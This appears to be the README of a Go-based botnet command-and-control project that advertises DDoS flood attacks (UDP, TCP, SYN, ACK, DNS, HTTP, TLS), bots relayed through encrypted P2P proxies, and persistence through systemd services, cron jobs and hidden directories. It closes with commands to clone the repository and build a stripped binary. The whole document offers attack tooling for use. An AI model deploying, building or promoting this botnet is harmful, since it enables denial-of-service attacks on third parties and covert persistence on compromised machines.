Please make sure that both the Proxy server and the C2 Server are using both crt and key file
**Geolocation Tracking**: Visualize bot distribution worldwideis STILL in development(Just been working on other things and projects) [06/07/2025].
- If you don't want the Geolocation and want a cleaner option, use this:
- New variant with no Geolocation: >https://github.com/1Birdo/Gostress-Optimized
- Multi-layer Architecture: [Bots] ↔ [P2P Proxies] ↔ [C2 Server]
- TLS 1.3 Encryption: All communications secured with modern cryptography
- Command Encryption: Thoughout transit every command is encrypted
| Login | Dashboard |
|---|---|
![]() |
![]() |
- Real-time Monitoring: Live bot metrics and attack statistics
- Role-Based Access: Granular permission system (Owner/Admin/Pro/User)
- Session Management: Secure authentication with timeout protection
- Multiple Attack Vectors: UDP/TCP/SYN/ACK/DNS/HTTP/TLS floods
- Persistence Mechanisms: Systemd services, cron jobs, hidden directories
- Resource Reporting: CPU, RAM, architecture details
- Auto-Update: Secure update system with integrity checks
| Component | Technology Stack |
|---|---|
| Language | Go (Golang) |
| Web Framework | Gorilla WebSocket + net/http |
| Encryption | AES-GCM and ChaCha20-Poly1305 cipher suites |
| Network | TLS 1.3, P2P Proxy Network |
| Data Storage | JSON-based configuration |
- Go 1.20+ (with module support)
- OpenSSL (for certificate generation) , Must Change to using Certbot for verified trusted Certs
- Linux/Unix environment (for full feature support)
The proxy setup is optional, and I've included a certificate and private key for convenience. That said, I highly recommend generating your own for proper security. You can easily create one using tools like Let's Encrypt, Certbot, or OpenSSL. Some hosting or DNS providers also offer their own certificate solutions if you prefer that route.
The proxy acts as a middleman, forwarding encrypted traffic between the bots and the C2 server without decrypting it (simple io.Copy in both directions). Basically making it a bi-directional connection.
# Clone repository
git clone https://github.com/Birdo1221/Gostress-Enhanced.git
cd WebC2Go
# Install dependencies
go mod tidy
# Build (production)
go build -ldflags="-s -w" -o WebC2
# Or run directly (development)
go run main.go
